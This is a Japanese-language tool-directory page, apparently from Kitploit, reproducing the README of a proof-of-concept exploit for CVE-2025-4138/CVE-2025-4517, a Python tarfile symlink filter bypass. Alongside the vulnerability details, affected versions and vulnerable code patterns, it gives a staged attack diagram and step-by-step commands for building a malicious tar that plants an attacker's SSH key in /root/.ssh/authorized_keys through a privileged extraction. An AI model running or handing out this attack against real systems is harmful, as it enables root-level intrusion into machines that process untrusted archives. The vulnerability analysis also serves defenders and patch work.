Skip to content
KitploitKITPLOIT
ツールブログ
Log in
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-4138-4517-POC — CVE-2025-4138 / CVE-2025-4517 — Python tarfile PATH_MAX シンボリックリンクフィルタの回避 | Kitploit
ツール/GitHubGitHub/desertdemons/cve-2025-4138-4517-poc
特権昇格ペイロード生成脆弱性分析エクスプロイトペネトレーションテスト学習と教育バイナリエクスプロイト
GitHubdesertdemons/cve-2025-4138-4517-poc

CVE-2025-4138-4517-POC

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-4138 / CVE-2025-4517 — Python tarfile PATH_MAX シンボリックリンクフィルタの回避

リポジトリを見る
172163ヶ月前未レビュー

CVE-2025-4138 CVE-2025-4517 CVSS 9.4 Python Affected

CVE-2025-4138 / CVE-2025-4517
Python tarfile の PATH_MAX シンボリックリンクエスケープによるフィルタバイパス

filter="data" / filter="tar" 抽出による任意ファイル書き込み

Type CWE-22 Platform Language License Stars Forks Last Commit


目次

  • 概要
  • 脆弱性の詳細
  • 動作の仕組み
  • 影響を受けるバージョン
  • 影響を受けるコードパターン
  • インストール
  • 使用方法
    • クイックスタート — SSHキーインジェクション
    • プリセット攻撃
    • カスタムターゲット
  • 概念実証 — 安全な検証
  • 技術的な詳細
    • PATH_MAX と os.path.realpath()
    • シンボリックリンクチェーンの構築
    • フィルタバイパスの仕組み
    • 悪用の段階
  • 実際の攻撃シナリオ
  • 検出
  • 緩和策
  • 関連CVE
  • タイムライン
  • 参考文献
  • クレジット
  • 免責事項
  • ライセンス

概要

Python の tarfile モジュールに存在する重大な脆弱性により、攻撃者は抽出フィルタ("data" と "tar")をバイパスし、意図した抽出ディレクトリの外に任意のファイルを書き込むことができます。特権プロセス(例: root権限で実行されるバックアップスクリプト、CI/CD パイプライン、パッケージインストーラ)が、安全とされる filter="data" パラメータを使用して攻撃者が制御するtarアーカイブを抽出すると、このエクスプロイトはその特権ユーザーとしての完全な任意ファイル書き込みを達成します — 通常は root への権限昇格につながります。

根本原因は os.path.realpath() の動作上の癖です。完全に展開されたパスが PATH_MAX(Linux では 4096 バイト、macOS では 1024 バイト)を超えると、シンボリックリンクの解決を黙って停止します。tarfile フィルタは安全性のチェックを realpath() に依存していますが、カーネルは抽出時にシンボリックリンクを独自に解決するため、ディレクトリエスケープを可能にするTOCTOU(Time-of-Check-to-Time-of-Use)ギャップが生じます。


脆弱性の詳細

フィールド値
CVE IDCVE-2025-4138, CVE-2025-4517
CVSS v3.19.4(緊急) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
CWECWE-22 — 制限付きディレクトリへのパス名の制限が不適切
脆弱性の種類シンボリックリンクによるパストラバーサル / フィルタバイパス
影響任意ファイル書き込み → 権限昇格、サンドボックスエスケープ、データ改ざん
攻撃ベクトルフィルタ付きで tarfile.extractall() を使用する任意のアプリケーションに、悪意のあるtarアーカイブを配布する
影響を受けるバージョンPython 3.12.0 – 3.12.10, 3.13.0 – 3.13.3
修正バージョンPython 3.9.23, 3.10.18, 3.11.13, 3.12.11, 3.13.4
パッチCPython PR #135037
勧告GHSA-hgqp-3mmf-7h8f
報告者Caleb Brown — Google Security Research

動作の仕組み```

                ┌───────────────────────────────────────────┐
                │         Malicious Tar Structure            │
                └───────────────────────────────────────────┘

Stage 1 ── Build symlink chain that inflates the resolved path past PATH_MAX

ddd...ddd/              (directory, 247 chars)
a  →  ddd...ddd         (symlink,   1 char name → 247 char dir)
ddd...ddd/ddd...ddd/    (nested directory)
b  →  ddd...ddd         (symlink)
...  ×16 levels

Short path (symlinks):   a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p       ~31 chars
Resolved path (dirs):    ddd…/ddd…/ddd…/ddd…/ddd…/ddd…/…      ~3968 chars
                                                           ↑ nearing PATH_MAX

Stage 2 ── Final symlink exceeds PATH_MAX → realpath() stops resolving

a/b/c/…/p/lll…lll  →  ../../../../../../../../../../../../../../../../..
                        (16 levels of ".." — traverses back to extraction root)

┌─────────────────────────────────────────────────────────────────┐
│  os.path.realpath()  CANNOT expand this  →  filter says "OK" ✓ │
│  Linux kernel         DOES follow chain  →  actually escapes ✗ │
└─────────────────────────────────────────────────────────────────┘

Stage 3 ── Escape symlink resolves to arbitrary filesystem path

escape  →  <overflow_link>/../../../../../../../root

Stage 4 ── Create intermediate directories through the escape

escape/.ssh/            (directory, mode 0700 — created by tar extraction)

Stage 5 ── Write payload through the escaped symlink

escape/.ssh/authorized_keys  →  writes to /root/.ssh/authorized_keys  🔓
---

## 影響を受けるバージョン

| Python ブランチ | 影響を受けるバージョン範囲 | 修正済みバージョン | 状態 |
|:--|:--|:--|:--|
| 3.13 | 3.13.0 – 3.13.3 | **3.13.4** | ✅ パッチ済み |
| 3.12 | 3.12.0 – 3.12.10 | **3.12.11** | ✅ パッチ済み |
| 3.11 | 3.11.4 – 3.11.12 | **3.11.13** | ✅ パッチ済み |
| 3.10 | 3.10.12 – 3.10.17 | **3.10.18** | ✅ パッチ済み |
| 3.9 | 3.9.17 – 3.9.22 | **3.9.23** | ✅ パッチ済み |
| 3.8 | 3.8.17 – 3.8.20 | — | ❌ サポート終了 |
| 3.14+ | デフォルトのフィルターが `"data"` に変更された | 最新版を確認 | ⚠️ より高い曝露 |

> **注記:** Python 3.14+ では、デフォルトの `filter` パラメータが「フィルタリングなし」から `"data"` に変更されました。つまり、以前はフィルタがなく(そのためすでに安全ではなかった)アプリケーションが、デフォルトで脆弱なフィルタを使用するようになります。

---

## 影響を受けるコードパターン

脆弱な Python バージョンでこれを行っているアプリケーションは、悪用可能です:```python
import tarfile

# VULNERABLE — filter="data" can be bypassed
with tarfile.open("untrusted_archive.tar", "r") as tar:
    tar.extractall(path="/some/directory", filter="data")

# ALSO VULNERABLE — filter="tar" has the same flaw
with tarfile.open("untrusted_archive.tar", "r") as tar:
    tar.extractall(path="/some/directory", filter="tar")

一般的な実際の発生例:

  • バックアップ/リストアスクリプト が root として実行
  • CI/CD パイプライン がビルド成果物を展開
  • パッケージマネージャー とインストーラーが .tar 配布物を処理
  • Web アプリケーション がユーザーがアップロードしたアーカイブを受け入れる
  • 構成管理 ツールがデプロイメントバンドルを展開

インストール```bash

git clone https://github.com/DesertDemons/CVE-2025-4138-4517-POC.git cd CVE-2025-4138-4517-POC

No dependencies — uses only Python standard library

python3 exploit.py --help

**要件:** Python 3.6+ (アーカイブ作成用 — **ターゲット**は脆弱性のあるバージョンを実行している必要があります)

---

## 使用方法

### クイックスタート — SSHキーインジェクション```bash
# 1. Generate an SSH key pair (REQUIRED — must exist before creating tar)
ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -N ""
cat ~/.ssh/id_ed25519.pub   # verify key was created

# 2. Create the malicious tar archive
python3 exploit.py \
    --preset ssh-key \
    --payload ~/.ssh/id_ed25519.pub \
    --tar-out ./evil.tar

# 3. Deliver the tar and trigger privileged extraction
#    (method varies — backup script, upload endpoint, CI pipeline, etc.)
#    Example: sudo python3 vulnerable_app.py --extract evil.tar
ツールをダウンロード